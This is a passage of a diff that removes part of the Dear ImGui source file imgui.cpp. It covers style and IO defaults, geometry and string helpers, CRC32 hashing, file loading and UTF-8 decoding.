ButtonTextAlign = ImVec2(0.5f,0.5f);// Alignment of button text when button is larger than text. - SelectableTextAlign = ImVec2(0.0f,0.0f);// Alignment of selectable text. Defaults to (0.0f, 0.0f) (top-left aligned). It's generally important to keep this left-aligned if you want to lay multiple items on a same line. - DisplayWindowPadding = ImVec2(19,19); // Window position are clamped to be visible within the display area or monitors by at least this amount. Only applies to regular windows. - DisplaySafeAreaPadding = ImVec2(3,3); // If you cannot see the edge of your screen (e.g. on a TV) increase the safe area padding. Covers popups/tooltips as well regular windows. - MouseCursorScale = 1.0f; // Scale software rendered mouse cursor (when io.MouseDrawCursor is enabled). May be removed later. - AntiAliasedLines = true; // Enable anti-aliased lines/borders. Disable if you are really tight on CPU/GPU. - AntiAliasedLinesUseTex = true; // Enable anti-aliased lines/borders using textures where possible. Require backend to render with bilinear filtering. - AntiAliasedFill = true; // Enable anti-aliased filled shapes (rounded rectangles, circles, etc.). - CurveTessellationTol = 1.25f; // Tessellation tolerance when using PathBezierCurveTo() without a specific number of segments. Decrease for highly tessellated curves (higher quality, more polygons), increase to reduce quality. - CircleTessellationMaxError = 0.30f; // Maximum error (in pixels) allowed when using AddCircle()/AddCircleFilled() or drawing rounded corner rectangles with no explicit segment count specified. Decrease for higher quality but more geometry. - - // Default theme - ImGui::StyleColorsDark(this); -} - -// To scale your entire UI (e.g. if you want your app to use High DPI or generally be DPI aware) you may use this helper function. Scaling the fonts is done separately and is up to you. -// Important: This operation is lossy because we round all sizes to integer. If you need to change your scale multiples, call this over a freshly initialized ImGuiStyle structure rather than scaling multiple times. -void ImGuiStyle::ScaleAllSizes(float scale_factor) -{ - WindowPadding = ImFloor(WindowPadding * scale_factor); - WindowRounding = ImFloor(WindowRounding * scale_factor); - WindowMinSize = ImFloor(WindowMinSize * scale_factor); - ChildRounding = ImFloor(ChildRounding * scale_factor); - PopupRounding = ImFloor(PopupRounding * scale_factor); - FramePadding = ImFloor(FramePadding * scale_factor); - FrameRounding = ImFloor(FrameRounding * scale_factor); - ItemSpacing = ImFloor(ItemSpacing * scale_factor); - ItemInnerSpacing = ImFloor(ItemInnerSpacing * scale_factor); - CellPadding = ImFloor(CellPadding * scale_factor); - TouchExtraPadding = ImFloor(TouchExtraPadding * scale_factor); - IndentSpacing = ImFloor(IndentSpacing * scale_factor); - ColumnsMinSpacing = ImFloor(ColumnsMinSpacing * scale_factor); - ScrollbarSize = ImFloor(ScrollbarSize * scale_factor); - ScrollbarRounding = ImFloor(ScrollbarRounding * scale_factor); - GrabMinSize = ImFloor(GrabMinSize * scale_factor); - GrabRounding = ImFloor(GrabRounding * scale_factor); - LogSliderDeadzone = ImFloor(LogSliderDeadzone * scale_factor); - TabRounding = ImFloor(TabRounding * scale_factor); - TabMinWidthForCloseButton = (TabMinWidthForCloseButton != FLT_MAX) ? ImFloor(TabMinWidthForCloseButton * scale_factor) : FLT_MAX; - DisplayWindowPadding = ImFloor(DisplayWindowPadding * scale_factor); - DisplaySafeAreaPadding = ImFloor(DisplaySafeAreaPadding * scale_factor); - MouseCursorScale = ImFloor(MouseCursorScale * scale_factor); -} - -ImGuiIO::ImGuiIO() -{ - // Most fields are initialized with zero - memset(this, 0, sizeof(*this)); - IM_ASSERT(IM_ARRAYSIZE(ImGuiIO::MouseDown) == ImGuiMouseButton_COUNT && IM_ARRAYSIZE(ImGuiIO::MouseClicked) == ImGuiMouseButton_COUNT); // Our pre-C++11 IM_STATIC_ASSERT() macros triggers warning on modern compilers so we don't use it here. - - // Settings - ConfigFlags = ImGuiConfigFlags_None; - BackendFlags = ImGuiBackendFlags_None; - DisplaySize = ImVec2(-1.0f, -1.0f); - DeltaTime = 1.0f / 60.0f; - IniSavingRate = 5.0f; - IniFilename = "imgui.ini"; - LogFilename = "imgui_log.txt"; - MouseDoubleClickTime = 0.30f; - MouseDoubleClickMaxDist = 6.0f; - for (int i = 0; i < ImGuiKey_COUNT; i++) - KeyMap[i] = -1; - KeyRepeatDelay = 0.275f; - KeyRepeatRate = 0.050f; - UserData = NULL; - - Fonts = NULL; - FontGlobalScale = 1.0f; - FontDefault = NULL; - FontAllowUserScaling = false; - DisplayFramebufferScale = ImVec2(1.0f, 1.0f); - - // Miscellaneous options - MouseDrawCursor = false; -#ifdef __APPLE__ - ConfigMacOSXBehaviors = true; // Set Mac OS X style defaults based on __APPLE__ compile time flag -#else - ConfigMacOSXBehaviors = false; -#endif - ConfigInputTextCursorBlink = true; - ConfigWindowsResizeFromEdges = true; - ConfigWindowsMoveFromTitleBarOnly = false; - ConfigMemoryCompactTimer = 60.0f; - - // Platform Functions - BackendPlatformName = BackendRendererName = NULL; - BackendPlatformUserData = BackendRendererUserData = BackendLanguageUserData = NULL; - GetClipboardTextFn = GetClipboardTextFn_DefaultImpl; // Platform dependent default implementations - SetClipboardTextFn = SetClipboardTextFn_DefaultImpl; - ClipboardUserData = NULL; - ImeSetInputScreenPosFn = ImeSetInputScreenPosFn_DefaultImpl; - ImeWindowHandle = NULL; - - // Input (NB: we already have memset zero the entire structure!) - MousePos = ImVec2(-FLT_MAX, -FLT_MAX); - MousePosPrev = ImVec2(-FLT_MAX, -FLT_MAX); - MouseDragThreshold = 6.0f; - for (int i = 0; i < IM_ARRAYSIZE(MouseDownDuration); i++) MouseDownDuration[i] = MouseDownDurationPrev[i] = -1.0f; - for (int i = 0; i < IM_ARRAYSIZE(KeysDownDuration); i++) KeysDownDuration[i] = KeysDownDurationPrev[i] = -1.0f; - for (int i = 0; i < IM_ARRAYSIZE(NavInputsDownDuration); i++) NavInputsDownDuration[i] = -1.0f; -} - -// Pass in translated ASCII characters for text input. -// - with glfw you can get those from the callback set in glfwSetCharCallback() -// - on Windows you can get those using ToAscii+keyboard state, or via the WM_CHAR message -void ImGuiIO::AddInputCharacter(unsigned int c) -{ - if (c != 0) - InputQueueCharacters.push_back(c <= IM_UNICODE_CODEPOINT_MAX ? (ImWchar)c : IM_UNICODE_CODEPOINT_INVALID); -} - -// UTF16 strings use surrogate pairs to encode codepoints >= 0x10000, so -// we should save the high surrogate. -void ImGuiIO::AddInputCharacterUTF16(ImWchar16 c) -{ - if (c == 0 && InputQueueSurrogate == 0) - return; - - if ((c & 0xFC00) == 0xD800) // High surrogate, must save - { - if (InputQueueSurrogate != 0) - InputQueueCharacters.push_back(IM_UNICODE_CODEPOINT_INVALID); - InputQueueSurrogate = c; - return; - } - - ImWchar cp = c; - if (InputQueueSurrogate != 0) - { - if ((c & 0xFC00) != 0xDC00) // Invalid low surrogate - InputQueueCharacters.push_back(IM_UNICODE_CODEPOINT_INVALID); - else if (IM_UNICODE_CODEPOINT_MAX == (0xFFFF)) // Codepoint will not fit in ImWchar (extra parenthesis around 0xFFFF somehow fixes -Wunreachable-code with Clang) - cp = IM_UNICODE_CODEPOINT_INVALID; - else - cp = (ImWchar)(((InputQueueSurrogate - 0xD800) << 10) + (c - 0xDC00) + 0x10000); - InputQueueSurrogate = 0; - } - InputQueueCharacters.push_back(cp); -} - -void ImGuiIO::AddInputCharactersUTF8(const char* utf8_chars) -{ - while (*utf8_chars != 0) - { - unsigned int c = 0; - utf8_chars += ImTextCharFromUtf8(&c, utf8_chars, NULL); - if (c != 0) - InputQueueCharacters.push_back((ImWchar)c); - } -} - -void ImGuiIO::ClearInputCharacters() -{ - InputQueueCharacters.resize(0); -} - -//----------------------------------------------------------------------------- -// [SECTION] MISC HELPERS/UTILITIES (Geometry functions) -//----------------------------------------------------------------------------- - -ImVec2 ImBezierCubicClosestPoint(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, const ImVec2& p, int num_segments) -{ - IM_ASSERT(num_segments > 0); // Use ImBezierCubicClosestPointCasteljau() - ImVec2 p_last = p1; - ImVec2 p_closest; - float p_closest_dist2 = FLT_MAX; - float t_step = 1.0f / (float)num_segments; - for (int i_step = 1; i_step <= num_segments; i_step++) - { - ImVec2 p_current = ImBezierCubicCalc(p1, p2, p3, p4, t_step * i_step); - ImVec2 p_line = ImLineClosestPoint(p_last, p_current, p); - float dist2 = ImLengthSqr(p - p_line); - if (dist2 < p_closest_dist2) - { - p_closest = p_line; - p_closest_dist2 = dist2; - } - p_last = p_current; - } - return p_closest; -} - -// Closely mimics PathBezierToCasteljau() in imgui_draw.cpp -static void ImBezierCubicClosestPointCasteljauStep(const ImVec2& p, ImVec2& p_closest, ImVec2& p_last, float& p_closest_dist2, float x1, float y1, float x2, float y2, float x3, float y3, float x4, float y4, float tess_tol, int level) -{ - float dx = x4 - x1; - float dy = y4 - y1; - float d2 = ((x2 - x4) * dy - (y2 - y4) * dx); - float d3 = ((x3 - x4) * dy - (y3 - y4) * dx); - d2 = (d2 >= 0) ? d2 : -d2; - d3 = (d3 >= 0) ? d3 : -d3; - if ((d2 + d3) * (d2 + d3) < tess_tol * (dx * dx + dy * dy)) - { - ImVec2 p_current(x4, y4); - ImVec2 p_line = ImLineClosestPoint(p_last, p_current, p); - float dist2 = ImLengthSqr(p - p_line); - if (dist2 < p_closest_dist2) - { - p_closest = p_line; - p_closest_dist2 = dist2; - } - p_last = p_current; - } - else if (level < 10) - { - float x12 = (x1 + x2)*0.5f, y12 = (y1 + y2)*0.5f; - float x23 = (x2 + x3)*0.5f, y23 = (y2 + y3)*0.5f; - float x34 = (x3 + x4)*0.5f, y34 = (y3 + y4)*0.5f; - float x123 = (x12 + x23)*0.5f, y123 = (y12 + y23)*0.5f; - float x234 = (x23 + x34)*0.5f, y234 = (y23 + y34)*0.5f; - float x1234 = (x123 + x234)*0.5f, y1234 = (y123 + y234)*0.5f; - ImBezierCubicClosestPointCasteljauStep(p, p_closest, p_last, p_closest_dist2, x1, y1, x12, y12, x123, y123, x1234, y1234, tess_tol, level + 1); - ImBezierCubicClosestPointCasteljauStep(p, p_closest, p_last, p_closest_dist2, x1234, y1234, x234, y234, x34, y34, x4, y4, tess_tol, level + 1); - } -} - -// tess_tol is generally the same value you would find in ImGui::GetStyle().CurveTessellationTol -// Because those ImXXX functions are lower-level than ImGui:: we cannot access this value automatically. -ImVec2 ImBezierCubicClosestPointCasteljau(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, const ImVec2& p, float tess_tol) -{ - IM_ASSERT(tess_tol > 0.0f); - ImVec2 p_last = p1; - ImVec2 p_closest; - float p_closest_dist2 = FLT_MAX; - ImBezierCubicClosestPointCasteljauStep(p, p_closest, p_last, p_closest_dist2, p1.x, p1.y, p2.x, p2.y, p3.x, p3.y, p4.x, p4.y, tess_tol, 0); - return p_closest; -} - -ImVec2 ImLineClosestPoint(const ImVec2& a, const ImVec2& b, const ImVec2& p) -{ - ImVec2 ap = p - a; - ImVec2 ab_dir = b - a; - float dot = ap.x * ab_dir.x + ap.y * ab_dir.y; - if (dot < 0.0f) - return a; - float ab_len_sqr = ab_dir.x * ab_dir.x + ab_dir.y * ab_dir.y; - if (dot > ab_len_sqr) - return b; - return a + ab_dir * dot / ab_len_sqr; -} - -bool ImTriangleContainsPoint(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& p) -{ - bool b1 = ((p.x - b.x) * (a.y - b.y) - (p.y - b.y) * (a.x - b.x)) < 0.0f; - bool b2 = ((p.x - c.x) * (b.y - c.y) - (p.y - c.y) * (b.x - c.x)) < 0.0f; - bool b3 = ((p.x - a.x) * (c.y - a.y) - (p.y - a.y) * (c.x - a.x)) < 0.0f; - return ((b1 == b2) && (b2 == b3)); -} - -void ImTriangleBarycentricCoords(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& p, float& out_u, float& out_v, float& out_w) -{ - ImVec2 v0 = b - a; - ImVec2 v1 = c - a; - ImVec2 v2 = p - a; - const float denom = v0.x * v1.y - v1.x * v0.y; - out_v = (v2.x * v1.y - v1.x * v2.y) / denom; - out_w = (v0.x * v2.y - v2.x * v0.y) / denom; - out_u = 1.0f - out_v - out_w; -} - -ImVec2 ImTriangleClosestPoint(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& p) -{ - ImVec2 proj_ab = ImLineClosestPoint(a, b, p); - ImVec2 proj_bc = ImLineClosestPoint(b, c, p); - ImVec2 proj_ca = ImLineClosestPoint(c, a, p); - float dist2_ab = ImLengthSqr(p - proj_ab); - float dist2_bc = ImLengthSqr(p - proj_bc); - float dist2_ca = ImLengthSqr(p - proj_ca); - float m = ImMin(dist2_ab, ImMin(dist2_bc, dist2_ca)); - if (m == dist2_ab) - return proj_ab; - if (m == dist2_bc) - return proj_bc; - return proj_ca; -} - -//----------------------------------------------------------------------------- -// [SECTION] MISC HELPERS/UTILITIES (String, Format, Hash functions) -//----------------------------------------------------------------------------- - -// Consider using _stricmp/_strnicmp under Windows or strcasecmp/strncasecmp. We don't actually use either ImStricmp/ImStrnicmp in the codebase any more. -int ImStricmp(const char* str1, const char* str2) -{ - int d; - while ((d = toupper(*str2) - toupper(*str1)) == 0 && *str1) { str1++; str2++; } - return d; -} - -int ImStrnicmp(const char* str1, const char* str2, size_t count) -{ - int d = 0; - while (count > 0 && (d = toupper(*str2) - toupper(*str1)) == 0 && *str1) { str1++; str2++; count--; } - return d; -} - -void ImStrncpy(char* dst, const char* src, size_t count) -{ - if (count < 1) - return; - if (count > 1) - strncpy(dst, src, count - 1); - dst[count - 1] = 0; -} - -char* ImStrdup(const char* str) -{ - size_t len = strlen(str); - void* buf = IM_ALLOC(len + 1); - return (char*)memcpy(buf, (const void*)str, len + 1); -} - -char* ImStrdupcpy(char* dst, size_t* p_dst_size, const char* src) -{ - size_t dst_buf_size = p_dst_size ? *p_dst_size : strlen(dst) + 1; - size_t src_size = strlen(src) + 1; - if (dst_buf_size < src_size) - { - IM_FREE(dst); - dst = (char*)IM_ALLOC(src_size); - if (p_dst_size) - *p_dst_size = src_size; - } - return (char*)memcpy(dst, (const void*)src, src_size); -} - -const char* ImStrchrRange(const char* str, const char* str_end, char c) -{ - const char* p = (const char*)memchr(str, (int)c, str_end - str); - return p; -} - -int ImStrlenW(const ImWchar* str) -{ - //return (int)wcslen((const wchar_t*)str); // FIXME-OPT: Could use this when wchar_t are 16-bit - int n = 0; - while (*str++) n++; - return n; -} - -// Find end-of-line. Return pointer will point to either first \n, either str_end. -const char* ImStreolRange(const char* str, const char* str_end) -{ - const char* p = (const char*)memchr(str, '\n', str_end - str); - return p ? p : str_end; -} - -const ImWchar* ImStrbolW(const ImWchar* buf_mid_line, const ImWchar* buf_begin) // find beginning-of-line -{ - while (buf_mid_line > buf_begin && buf_mid_line[-1] != '\n') - buf_mid_line--; - return buf_mid_line; -} - -const char* ImStristr(const char* haystack, const char* haystack_end, const char* needle, const char* needle_end) -{ - if (!needle_end) - needle_end = needle + strlen(needle); - - const char un0 = (char)toupper(*needle); - while ((!haystack_end && *haystack) || (haystack_end && haystack < haystack_end)) - { - if (toupper(*haystack) == un0) - { - const char* b = needle + 1; - for (const char* a = haystack + 1; b < needle_end; a++, b++) - if (toupper(*a) != toupper(*b)) - break; - if (b == needle_end) - return haystack; - } - haystack++; - } - return NULL; -} - -// Trim str by offsetting contents when there's leading data + writing a \0 at the trailing position. We use this in situation where the cost is negligible. -void ImStrTrimBlanks(char* buf) -{ - char* p = buf; - while (p[0] == ' ' || p[0] == '\t') // Leading blanks - p++; - char* p_start = p; - while (*p != 0) // Find end of string - p++; - while (p > p_start && (p[-1] == ' ' || p[-1] == '\t')) // Trailing blanks - p--; - if (p_start != buf) // Copy memory if we had leading blanks - memmove(buf, p_start, p - p_start); - buf[p - p_start] = 0; // Zero terminate -} - -const char* ImStrSkipBlank(const char* str) -{ - while (str[0] == ' ' || str[0] == '\t') - str++; - return str; -} - -// A) MSVC version appears to return -1 on overflow, whereas glibc appears to return total count (which may be >= buf_size). -// Ideally we would test for only one of those limits at runtime depending on the behavior the vsnprintf(), but trying to deduct it at compile time sounds like a pandora can of worm. -// B) When buf==NULL vsnprintf() will return the output size. -#ifndef IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS - -// We support stb_sprintf which is much faster (see: https://github.com/nothings/stb/blob/master/stb_sprintf.h) -// You may set IMGUI_USE_STB_SPRINTF to use our default wrapper, or set IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS -// and setup the wrapper yourself. (FIXME-OPT: Some of our high-level operations such as ImGuiTextBuffer::appendfv() are -// designed using two-passes worst case, which probably could be improved using the stbsp_vsprintfcb() function.) -#ifdef IMGUI_USE_STB_SPRINTF -#define STB_SPRINTF_IMPLEMENTATION -#include "stb_sprintf.h" -#endif - -#if defined(_MSC_VER) && !defined(vsnprintf) -#define vsnprintf _vsnprintf -#endif - -int ImFormatString(char* buf, size_t buf_size, const char* fmt, ...) -{ - va_list args; - va_start(args, fmt); -#ifdef IMGUI_USE_STB_SPRINTF - int w = stbsp_vsnprintf(buf, (int)buf_size, fmt, args); -#else - int w = vsnprintf(buf, buf_size, fmt, args); -#endif - va_end(args); - if (buf == NULL) - return w; - if (w == -1 || w >= (int)buf_size) - w = (int)buf_size - 1; - buf[w] = 0; - return w; -} - -int ImFormatStringV(char* buf, size_t buf_size, const char* fmt, va_list args) -{ -#ifdef IMGUI_USE_STB_SPRINTF - int w = stbsp_vsnprintf(buf, (int)buf_size, fmt, args); -#else - int w = vsnprintf(buf, buf_size, fmt, args); -#endif - if (buf == NULL) - return w; - if (w == -1 || w >= (int)buf_size) - w = (int)buf_size - 1; - buf[w] = 0; - return w; -} -#endif // #ifdef IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS - -// CRC32 needs a 1KB lookup table (not cache friendly) -// Although the code to generate the table is simple and shorter than the table itself, using a const table allows us to easily: -// - avoid an unnecessary branch/memory tap, - keep the ImHashXXX functions usable by static constructors, - make it thread-safe. -static const ImU32 GCrc32LookupTable[256] = -{ - 0x00000000,0x77073096,0xEE0E612C,0x990951BA,0x076DC419,0x706AF48F,0xE963A535,0x9E6495A3,0x0EDB8832,0x79DCB8A4,0xE0D5E91E,0x97D2D988,0x09B64C2B,0x7EB17CBD,0xE7B82D07,0x90BF1D91, - 0x1DB71064,0x6AB020F2,0xF3B97148,0x84BE41DE,0x1ADAD47D,0x6DDDE4EB,0xF4D4B551,0x83D385C7,0x136C9856,0x646BA8C0,0xFD62F97A,0x8A65C9EC,0x14015C4F,0x63066CD9,0xFA0F3D63,0x8D080DF5, - 0x3B6E20C8,0x4C69105E,0xD56041E4,0xA2677172,0x3C03E4D1,0x4B04D447,0xD20D85FD,0xA50AB56B,0x35B5A8FA,0x42B2986C,0xDBBBC9D6,0xACBCF940,0x32D86CE3,0x45DF5C75,0xDCD60DCF,0xABD13D59, - 0x26D930AC,0x51DE003A,0xC8D75180,0xBFD06116,0x21B4F4B5,0x56B3C423,0xCFBA9599,0xB8BDA50F,0x2802B89E,0x5F058808,0xC60CD9B2,0xB10BE924,0x2F6F7C87,0x58684C11,0xC1611DAB,0xB6662D3D, - 0x76DC4190,0x01DB7106,0x98D220BC,0xEFD5102A,0x71B18589,0x06B6B51F,0x9FBFE4A5,0xE8B8D433,0x7807C9A2,0x0F00F934,0x9609A88E,0xE10E9818,0x7F6A0DBB,0x086D3D2D,0x91646C97,0xE6635C01, - 0x6B6B51F4,0x1C6C6162,0x856530D8,0xF262004E,0x6C0695ED,0x1B01A57B,0x8208F4C1,0xF50FC457,0x65B0D9C6,0x12B7E950,0x8BBEB8EA,0xFCB9887C,0x62DD1DDF,0x15DA2D49,0x8CD37CF3,0xFBD44C65, - 0x4DB26158,0x3AB551CE,0xA3BC0074,0xD4BB30E2,0x4ADFA541,0x3DD895D7,0xA4D1C46D,0xD3D6F4FB,0x4369E96A,0x346ED9FC,0xAD678846,0xDA60B8D0,0x44042D73,0x33031DE5,0xAA0A4C5F,0xDD0D7CC9, - 0x5005713C,0x270241AA,0xBE0B1010,0xC90C2086,0x5768B525,0x206F85B3,0xB966D409,0xCE61E49F,0x5EDEF90E,0x29D9C998,0xB0D09822,0xC7D7A8B4,0x59B33D17,0x2EB40D81,0xB7BD5C3B,0xC0BA6CAD, - 0xEDB88320,0x9ABFB3B6,0x03B6E20C,0x74B1D29A,0xEAD54739,0x9DD277AF,0x04DB2615,0x73DC1683,0xE3630B12,0x94643B84,0x0D6D6A3E,0x7A6A5AA8,0xE40ECF0B,0x9309FF9D,0x0A00AE27,0x7D079EB1, - 0xF00F9344,0x8708A3D2,0x1E01F268,0x6906C2FE,0xF762575D,0x806567CB,0x196C3671,0x6E6B06E7,0xFED41B76,0x89D32BE0,0x10DA7A5A,0x67DD4ACC,0xF9B9DF6F,0x8EBEEFF9,0x17B7BE43,0x60B08ED5, - 0xD6D6A3E8,0xA1D1937E,0x38D8C2C4,0x4FDFF252,0xD1BB67F1,0xA6BC5767,0x3FB506DD,0x48B2364B,0xD80D2BDA,0xAF0A1B4C,0x36034AF6,0x41047A60,0xDF60EFC3,0xA867DF55,0x316E8EEF,0x4669BE79, - 0xCB61B38C,0xBC66831A,0x256FD2A0,0x5268E236,0xCC0C7795,0xBB0B4703,0x220216B9,0x5505262F,0xC5BA3BBE,0xB2BD0B28,0x2BB45A92,0x5CB36A04,0xC2D7FFA7,0xB5D0CF31,0x2CD99E8B,0x5BDEAE1D, - 0x9B64C2B0,0xEC63F226,0x756AA39C,0x026D930A,0x9C0906A9,0xEB0E363F,0x72076785,0x05005713,0x95BF4A82,0xE2B87A14,0x7BB12BAE,0x0CB61B38,0x92D28E9B,0xE5D5BE0D,0x7CDCEFB7,0x0BDBDF21, - 0x86D3D2D4,0xF1D4E242,0x68DDB3F8,0x1FDA836E,0x81BE16CD,0xF6B9265B,0x6FB077E1,0x18B74777,0x88085AE6,0xFF0F6A70,0x66063BCA,0x11010B5C,0x8F659EFF,0xF862AE69,0x616BFFD3,0x166CCF45, - 0xA00AE278,0xD70DD2EE,0x4E048354,0x3903B3C2,0xA7672661,0xD06016F7,0x4969474D,0x3E6E77DB,0xAED16A4A,0xD9D65ADC,0x40DF0B66,0x37D83BF0,0xA9BCAE53,0xDEBB9EC5,0x47B2CF7F,0x30B5FFE9, - 0xBDBDF21C,0xCABAC28A,0x53B39330,0x24B4A3A6,0xBAD03605,0xCDD70693,0x54DE5729,0x23D967BF,0xB3667A2E,0xC4614AB8,0x5D681B02,0x2A6F2B94,0xB40BBE37,0xC30C8EA1,0x5A05DF1B,0x2D02EF8D, -}; - -// Known size hash -// It is ok to call ImHashData on a string with known length but the ### operator won't be supported. -// FIXME-OPT: Replace with e.g. FNV1a hash? CRC32 pretty much randomly access 1KB. Need to do proper measurements. -ImGuiID ImHashData(const void* data_p, size_t data_size, ImU32 seed) -{ - ImU32 crc = ~seed; - const unsigned char* data = (const unsigned char*)data_p; - const ImU32* crc32_lut = GCrc32LookupTable; - while (data_size-- != 0) - crc = (crc >> 8) ^ crc32_lut[(crc & 0xFF) ^ *data++]; - return ~crc; -} - -// Zero-terminated string hash, with support for ### to reset back to seed value -// We support a syntax of "label###id" where only "###id" is included in the hash, and only "label" gets displayed. -// Because this syntax is rarely used we are optimizing for the common case. -// - If we reach ### in the string we discard the hash so far and reset to the seed. -// - We don't do 'current += 2; continue;' after handling ### to keep the code smaller/faster (measured ~10% diff in Debug build) -// FIXME-OPT: Replace with e.g. FNV1a hash? CRC32 pretty much randomly access 1KB. Need to do proper measurements. -ImGuiID ImHashStr(const char* data_p, size_t data_size, ImU32 seed) -{ - seed = ~seed; - ImU32 crc = seed; - const unsigned char* data = (const unsigned char*)data_p; - const ImU32* crc32_lut = GCrc32LookupTable; - if (data_size != 0) - { - while (data_size-- != 0) - { - unsigned char c = *data++; - if (c == '#' && data_size >= 2 && data[0] == '#' && data[1] == '#') - crc = seed; - crc = (crc >> 8) ^ crc32_lut[(crc & 0xFF) ^ c]; - } - } - else - { - while (unsigned char c = *data++) - { - if (c == '#' && data[0] == '#' && data[1] == '#') - crc = seed; - crc = (crc >> 8) ^ crc32_lut[(crc & 0xFF) ^ c]; - } - } - return ~crc; -} - -//----------------------------------------------------------------------------- -// [SECTION] MISC HELPERS/UTILITIES (File functions) -//----------------------------------------------------------------------------- - -// Default file functions -#ifndef IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS - -ImFileHandle ImFileOpen(const char* filename, const char* mode) -{ -#if defined(_WIN32) && !defined(IMGUI_DISABLE_WIN32_FUNCTIONS) && !defined(__CYGWIN__) && !defined(__GNUC__) - // We need a fopen() wrapper because MSVC/Windows fopen doesn't handle UTF-8 filenames. - // Previously we used ImTextCountCharsFromUtf8/ImTextStrFromUtf8 here but we now need to support ImWchar16 and ImWchar32! - const int filename_wsize = ::MultiByteToWideChar(CP_UTF8, 0, filename, -1, NULL, 0); - const int mode_wsize = ::MultiByteToWideChar(CP_UTF8, 0, mode, -1, NULL, 0); - ImVector buf; - buf.resize(filename_wsize + mode_wsize); - ::MultiByteToWideChar(CP_UTF8, 0, filename, -1, (wchar_t*)&buf[0], filename_wsize); - ::MultiByteToWideChar(CP_UTF8, 0, mode, -1, (wchar_t*)&buf[filename_wsize], mode_wsize); - return ::_wfopen((const wchar_t*)&buf[0], (const wchar_t*)&buf[filename_wsize]); -#else - return fopen(filename, mode); -#endif -} - -// We should in theory be using fseeko()/ftello() with off_t and _fseeki64()/_ftelli64() with __int64, waiting for the PR that does that in a very portable pre-C++11 zero-warnings way. -bool ImFileClose(ImFileHandle f) { return fclose(f) == 0; } -ImU64 ImFileGetSize(ImFileHandle f) { long off = 0, sz = 0; return ((off = ftell(f)) != -1 && !fseek(f, 0, SEEK_END) && (sz = ftell(f)) != -1 && !fseek(f, off, SEEK_SET)) ? (ImU64)sz : (ImU64)-1; } -ImU64 ImFileRead(void* data, ImU64 sz, ImU64 count, ImFileHandle f) { return fread(data, (size_t)sz, (size_t)count, f); } -ImU64 ImFileWrite(const void* data, ImU64 sz, ImU64 count, ImFileHandle f) { return fwrite(data, (size_t)sz, (size_t)count, f); } -#endif // #ifndef IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS - -// Helper: Load file content into memory -// Memory allocated with IM_ALLOC(), must be freed by user using IM_FREE() == ImGui::MemFree() -// This can't really be used with "rt" because fseek size won't match read size. -void* ImFileLoadToMemory(const char* filename, const char* mode, size_t* out_file_size, int padding_bytes) -{ - IM_ASSERT(filename && mode); - if (out_file_size) - *out_file_size = 0; - - ImFileHandle f; - if ((f = ImFileOpen(filename, mode)) == NULL) - return NULL; - - size_t file_size = (size_t)ImFileGetSize(f); - if (file_size == (size_t)-1) - { - ImFileClose(f); - return NULL; - } - - void* file_data = IM_ALLOC(file_size + padding_bytes); - if (file_data == NULL) - { - ImFileClose(f); - return NULL; - } - if (ImFileRead(file_data, 1, file_size, f) != file_size) - { - ImFileClose(f); - IM_FREE(file_data); - return NULL; - } - if (padding_bytes > 0) - memset((void*)(((char*)file_data) + file_size), 0, (size_t)padding_bytes); - - ImFileClose(f); - if (out_file_size) - *out_file_size = file_size; - - return file_data; -} - -//----------------------------------------------------------------------------- -// [SECTION] MISC HELPERS/UTILITIES (ImText* functions) -//----------------------------------------------------------------------------- - -// Convert UTF-8 to 32-bit character, process single character input. -// A nearly-branchless UTF-8 decoder, based on work of Christopher Wellons (https://github.com/skeeto/branchless-utf8). -// We handle UTF-8 decoding error by skipping forward. -int ImTextCharFromUtf8(unsigned int* out_char, const char* in_text, const char* in_text_end) -{ - static const char lengths[32] = { 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 3, 3, 4, 0 }; - static const int masks[] = { 0x00, 0x7f, 0x1f, 0x0f, 0x07 }; - static const uint32_t mins[] = { 0x400000, 0, 0x80, 0x800, 0x10000 }; - static const int shiftc[] = { 0, 18, 12, 6, 0 }; - static const int shifte[] = { 0, 6, 4, 2, 0 }; - int len = lengths[*(const unsigned char*)in_text >> 3]; - int wanted = len + !len; - - if (in_text_end == NULL) - in_text_end = in_text + wanted; // Max length, nulls will be taken into account. - - // Copy at most 'len' bytes, stop copying at 0 or past in_text_end. Branch predictor does a good job here, - // so it is fast even with excessive branching. - unsigned char s[4]; - s[0] = in_text + 0 < in_text_end ? in_text[0] : 0; - s[1] = in_text + 1 < in_text_end ? in_text[1] : 0; - s[2] = in_text + 2 < in_text_end ? in_text[2] : 0; - s[3] = in_text + 3 < in_text_end ? in_text[3] : 0; - - // Assume a four-byte character and load four bytes. Unused bits are shifted out. - *out_char = (uint32_t)(s[0] & masks[len]) << 18; - *out_char |= (uint32_t)(s[1] & 0x3f) << 12; - *out_char |= (uint32_t)(s[2] & 0x3f) << 6; - *out_char |= (uint32_t)(s[3] & 0x3f) << 0; - *out_char >>= shiftc[len]; - - // Accumulate the various error conditions. - int e = 0; - e = (*out_char < mins[len]) << 6; // non-canonical encoding - e |= ((*out_char >> 11) == 0x1b) << 7; // surrogate half? - e |= (*out_char > IM_UNICODE_CODEPOINT_MAX) << 8; // out of range? - e |= (s[1] & 0xc0) >> 2; - e |= (s[2] & 0xc0) >> 4; - e |= (s[3] ) >> 6; - e ^= 0x2a; // top two bits of each tail byte correct? - e >>= shifte[len]; - - if (e) - { - // No bytes are consumed when *in_text == 0 || in_text == in_text_end. - // One byte is consumed in case of invalid first byte of in_text. - // All available bytes (at most `len` bytes) are consumed on incomplete/invalid second to last bytes. - // Invalid or incomplete input may consume less bytes than wanted, therefore every byte has to be inspected in s. - wanted = ImMin(wanted, !!s[0] + !!s[1] + !!s[2] + !!s[3]); - *out_char = IM_UNICODE_CODEPOINT_INVALID; - } - - return wanted; -} - -int ImTextStrFromUtf8(ImWchar* buf, int buf_size, const char* in_text, const char* in_text_end, const char** in_text_remaining) -{ - ImWchar* buf_out = buf; - ImWchar* buf_end = buf + buf_size; - while 